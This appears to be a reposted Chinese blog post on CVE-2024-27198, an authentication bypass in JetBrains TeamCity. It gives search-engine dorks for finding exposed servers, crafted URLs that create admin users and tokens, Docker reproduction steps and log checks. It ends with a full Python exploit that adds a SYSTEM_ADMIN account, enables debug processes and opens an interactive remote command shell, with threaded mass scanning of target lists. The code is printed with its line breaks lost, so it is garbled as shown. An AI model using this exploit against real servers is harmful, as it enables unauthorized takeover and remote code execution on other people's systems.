当前位置: 首页 > news >正文

【漏洞分析】CVE-2024-27198可RCE身份验证绕过JetBrains TeamCity

CVE-2024-27198可RCE身份验证绕过JetBrains TeamCity

    • 一、基本原理
    • 二、创建新的管理员用户
    • 三、自我检查
    • 四、POC

请添加图片描述

一、基本原理

向存在漏洞服务器发送一个不存在的页面请求
?jsp=/app/rest/server;.jsp
这会使服务器报错提供版本信息,且无需登录
Fofa
app=“JET_BRAINS-TeamCity”
ZoomEye
app:“JetBrains TeamCity”
Shodan
http.component:“teamcity”

二、创建新的管理员用户

通过向服务器的用户管理API发送请求,包含所需的用户名和密码
<teamcitysite>/hax?jsp=/app/rest/users;.jsp
或为自己生成管理员token,巩固权限
<teamcitysite>/hax?jsp=/app/rest/users/id:1/tokens/TokenName;.jsp

例如我们可以get‘请求如下
GET <teamcitysite>/hax?jsp=/app/rest/server;.jsp HTTP/1.1
服务器响应如下
C:\Users\>curl -ik http://x.x.x.x:8111/hax?jsp=/app/rest/server;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""><projects href="/app/rest/projects"/><vcsRoots href="/app/rest/vcs-roots"/><builds href="/app/rest/builds"/><users href="/app/rest/users"/><userGroups href="/app/rest/userGroups"/><agents href="/app/rest/agents"/><buildQueue href="/app/rest/buildQueue"/><agentPools href="/app/rest/agentPools"/><investigations href="/app/rest/investigations"/><mutes href="/app/rest/mutes"/><nodes href="/app/rest/server/nodes"/></server>

根据该响应确定服务存在漏洞

三、复现过程
下载存在漏洞的版本
docker pull jetbrains/teamcity-server:2023.11.3
启动容器
docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
在http://localhost:8111中完成TeamCity的基本设置

请添加图片描述

使用管理员账户登录,查看后台User中是否只有当前管理员这个账号

http://localhost:8111/admin/admin.html?item=users
请添加图片描述

使用POC添加一个新用户(POC在文末

python3 CVE-2024-27198.py -t http://localhost:8111 -u admin0 -p admin0

回到用户界面可以看到新添加的用户
在这里插入图片描述

MetaSploit也发布了针对此漏洞的Module,大家可以自己尝试下。
在这里插入图片描述

三、自我检查

看日志UI或文件

可以在日志中看到新用户的创建情况http://localhost:8111/admin/admin.html?item=audit
在这里插入图片描述

在文件系统上的 Docker 容器中,TeamCity 日志位于 /opt/teamcity/logs 下:
在这里插入图片描述

通过查看 teamcity-activities.log 文件,我们可以看到正在创建的新用户,plugin被上传、禁用和删除,并删除一个新token。
在这里插入图片描述

在 teamcity-server.log 中:

在这里插入图片描述

四、POC

import random
import string
import urllib3
import argparse
import requests
import xml.etree.ElementTree as ETfrom rich.console import Console
from urllib.parse import quote_plus
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completedurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)class TeamCity:def __init__(self, url, os="windows", verbose=False):self.url = urlself.os = osself.verbose = verboseself.console = Console()def custom_print(self, message: str, header: str) -> None:header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}self.console.print(f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}")@staticmethoddef generate_random_credentials():username = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))password = "".join(random.choices(string.ascii_letters + string.digits, k=10))return username, passworddef add_user(self):username, password = self.generate_random_credentials()user_data = {"username": username,"password": password,"email": f"{username}@example.com","roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]},}headers = {"Content-Type": "application/json"}add_user_url = f"{self.url}/hax?jsp=/app/rest/users;.jsp"try:response = requests.post(add_user_url, json=user_data, headers=headers, verify=False)if response.status_code == 200:user_info = self.parse_user_response(response.text)if user_info:self.custom_print(f"User created successfully. Username: {user_info['username']}, ID: {user_info['id']}, Password: {password}","+",)token_info = self.generate_user_token(user_info["id"])if token_info:modify_property = self.modify_internal_properties(token_info["value"], "rest.debug.processes.enable", "true")self.interactive_shell(token_info["value"]) if modify_property else Noneelse:self.custom_print("User created but failed to parse response.", "!")else:self.custom_print(f"Failed to create user. Status Code: {response.status_code}", "-")except requests.exceptions.RequestException as e:self.custom_print(f"Request failed: {e}", "-") if self.verbose else Nonedef generate_user_token(self, user_id):token_name = "".join(random.choices(string.ascii_letters + string.digits, k=10))token_url = (f"{self.url}/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp")try:response = requests.post(token_url, verify=False)if response.status_code == 200:token_info = self.parse_token_response(response.text)if token_info:self.custom_print(f"Token created successfully for user ID: {user_id}. Token Name: {token_name}, Token: {token_info['value']}","+",)return token_infoelse:self.custom_print("Token created but failed to parse response.", "!")else:self.custom_print(f"Failed to create token. Status Code: {response.status_code}", "-")except requests.exceptions.RequestException as e:self.custom_print(f"Request failed: {e}", "-")def parse_user_response(self, response_text):try:root = ET.fromstring(response_text)user_info = {"username": root.attrib.get("username"),"id": root.attrib.get("id"),"email": root.attrib.get("email"),}return user_infoexcept ET.ParseError as e:self.custom_print(f"Failed to parse user XML response: {e}", "!")return Nonedef modify_internal_properties(self, token, key, value):uri = f"{self.url}/admin/dataDir.html"headers = {"Authorization": f"Bearer {token}"}params = {"action": "edit","fileName": "config/internal.properties","content": f"{key}={value}" if value else "",}try:response = requests.post(uri, headers=headers, params=params, verify=False)if response.status_code == 200:self.custom_print("Internal properties modified successfully.", "+")return Trueelse:self.custom_print(f"Failed to modify internal properties. Status Code: {response.status_code}","-",)return Falseexcept requests.exceptions.RequestException as e:self.custom_print(f"Request failed: {e}", "-")return Falsedef execute_remote_command(self, token, os_type="linux", command="whoami"):headers = {"Authorization": f"Bearer {token}",}match os_type.lower():case "windows":exe_path = "cmd.exe"params = "/c"case "linux":exe_path = "/bin/sh"params = "-c"command_encoded = quote_plus(command)execute_url = f"{self.url}/app/rest/debug/processes?exePath={exe_path}&params={params}&params={command_encoded}"try:response = requests.post(execute_url, headers=headers, verify=False)if response.status_code == 200:return response.textelse:return Falseexcept requests.exceptions.RequestException:return Falsedef parse_response(self, response_text, parse_type):try:root = ET.fromstring(response_text)if parse_type == "version":return root.attrib.get("version")except ET.ParseError as e:self.custom_print(f"Failed to parse XML response: {e}", "!") if self.verbose else Nonereturn Nonedef process_users(self, users_xml):try:root = ET.fromstring(users_xml)users_count = root.attrib.get("count", "0")self.custom_print(f"Total Users: {users_count}", "*")for user in root.findall("user"):username = user.attrib.get("username", "N/A")name = user.attrib.get("name", "N/A")user_id = user.attrib.get("id", "N/A")self.custom_print(f"User: {username}, Name: {name}, ID: {user_id}", "*")except ET.ParseError as e:self.custom_print(f"Failed to parse users XML response: {e}", "!")def parse_token_response(self, response_text):try:root = ET.fromstring(response_text)token_info = {"name": root.attrib.get("name"),"value": root.attrib.get("value"),"creationTime": root.attrib.get("creationTime"),}return token_infoexcept ET.ParseError as e:self.custom_print(f"Failed to parse token XML response: {e}", "!")return Nonedef make_request(self):version_url = f"{self.url}/hax?jsp=/app/rest/server;.jsp"users_url = f"{self.url}/hax?jsp=/app/rest/users;.jsp"try:version_response = requests.get(version_url, verify=False, timeout=20)users_response = requests.get(users_url, verify=False, timeout=20)version = self.parse_response(version_response.text, "version")if version_response.status_code == 200 and version:self.custom_print(f"{self.url:<{30}} | Server Version: {version:<{30}} | CVE-2024-27198","+",)if users_response.status_code == 200 and self.verbose:self.process_users(users_response.text)else:self.custom_print("Failed to retrieve user information.", "!") if self.verbose else Nonereturn Trueelse:self.custom_print(f"{self.url} is not vulnerable.", "-") if self.verbose else Nonereturn Falseexcept requests.exceptions.RequestException as e:self.custom_print(f"Request failed: {e}", "-") if self.verbose else Nonedef interactive_shell(self, token):test_command_output = self.execute_remote_command(token, self.os, command="echo Ready")if test_command_output:self.custom_print("Shell is ready, please type your commands UwU", "!")else:self.custom_print("Failed to execute test command. Remote command execution may not be available.","-",)returnsession = PromptSession(history=InMemoryHistory())while True:try:cmd = session.prompt(HTML("<ansired><b>$ </b></ansired>"))match cmd.lower():case "exit":breakcase "clear":self.console.clear()case _:output = self.execute_remote_command(token, self.os, command=cmd)if output:self.custom_print(f"Output:\n{output}", "+")else:self.custom_print("Failed to execute command.", "-")except KeyboardInterrupt:self.modify_internal_properties(token, "rest.debug.processes.enable", "false")breakdef scan_url(url, output):team_city = TeamCity(url)if team_city.make_request():with open(output, "a") as file:file.write(f"{url}\n")def main():parser = argparse.ArgumentParser(description="""Exploit script for CVE-2024-27198: Demonstrates an authentication bypass vulnerability in JetBrains TeamCity versions prior to 2023.11.4. This tool can add a user with administrative privileges or list users on vulnerable servers, providing a proof of concept for unauthorized admin actions.""")parser.add_argument("-u", "--url", type=str, help="URL to TeamCity server.")parser.add_argument("--add-user",action="store_true",help="Add a new user with random credentials and parse response.",)parser.add_argument("--payload-type",type=str,default="linux",help="Payload type ('linux' or 'windows').",)parser.add_argument("-l", "--list", type=str, help="File containing list of URLs to process.")parser.add_argument("-o","--output",type=str,help="Path to the output file where results will be saved.",)args = parser.parse_args()if args.list:urls = []with open(args.list, "r") as file:urls = [line.strip() for line in file.readlines()]with alive_bar(len(urls), enrich_print=False) as bar:with ThreadPoolExecutor(max_workers=100) as executor:future_to_url = {executor.submit(scan_url, url, args.output): url for url in urls}for _ in as_completed(future_to_url):bar()elif args.url:team_city = TeamCity(args.url, args.payload_type, verbose=True)if args.add_user:team_city.add_user()else:team_city.make_request()else:parser.print_help()if __name__ == "__main__":main()

相关文章:

  • 什么是高级编程语言?——跟老吕学Python编程
  • 单例模式及线程安全的实践
  • 20个常用的Python脚本
  • Java开发与配置用到的各类中间件官网
  • MongoDB聚合运算符:$dateFromString
  • SQL中如何添加数据
  • 【kubernetes】关于k8s集群的pod控制器
  • 华为ce12800交换机m-lag(V-STP模式)配置举例
  • OD_2024_C卷_200分_9、园区参观路径【JAVA】【动态规划】
  • 【SpringCloud微服务实战02】Ribbon 负载均衡
  • 是什么原因影响到服务器的稳定性
  • L1阶段题解方法总结
  • 游戏中主流的护甲计算
  • 微信聊天助手
  • HarmonyOS系统开发基础环境搭建
  • 《深入 React 技术栈》
  • 【前端学习】-粗谈选择器
  • ES学习笔记(10)--ES6中的函数和数组补漏
  • Java 23种设计模式 之单例模式 7种实现方式
  • java B2B2C 源码多租户电子商城系统-Kafka基本使用介绍
  • JavaScript异步流程控制的前世今生
  • JSONP原理
  • Linux快速复制或删除大量小文件
  • Quartz初级教程
  • Redash本地开发环境搭建
  • SSH 免密登录
  • 构造函数(constructor)与原型链(prototype)关系
  • 提醒我喝水chrome插件开发指南
  • [地铁译]使用SSD缓存应用数据——Moneta项目: 低成本优化的下一代EVCache ...
  • 1.Ext JS 建立web开发工程
  • ​ 轻量应用服务器:亚马逊云科技打造全球领先的云计算解决方案
  • #QT(串口助手-界面)
  • (Redis使用系列) Springboot 使用redis实现接口幂等性拦截 十一
  • (附源码)springboot课程在线考试系统 毕业设计 655127
  • (求助)用傲游上csdn博客时标签栏和网址栏一直显示袁萌 的头像
  • (三)centos7案例实战—vmware虚拟机硬盘挂载与卸载
  • (转)JVM内存分配 -Xms128m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=512m
  • (转)Mysql的优化设置
  • (转)mysql使用Navicat 导出和导入数据库
  • *** 2003
  • ./indexer: error while loading shared libraries: libmysqlclient.so.18: cannot open shared object fil
  • .Net core 6.0 升8.0
  • .NET gRPC 和RESTful简单对比
  • .NET/C# 编译期间能确定的相同字符串,在运行期间是相同的实例
  • .net连接oracle数据库
  • .secret勒索病毒数据恢复|金蝶、用友、管家婆、OA、速达、ERP等软件数据库恢复
  • :中兴通讯为何成功
  • ??myeclipse+tomcat
  • [2016.7.test1] T2 偷天换日 [codevs 1163 访问艺术馆(类似)]
  • [Android 数据通信] android cmwap接入点
  • [Android] 240204批量生成联系人,短信,通话记录的APK
  • [Angularjs]asp.net mvc+angularjs+web api单页应用之CRUD操作
  • [C++ 从入门到精通] 12.重载运算符、赋值运算符重载、析构函数
  • [CISCN2019 华北赛区 Day1 Web2]ikun
  • [ffmpeg] av_opt_set 解析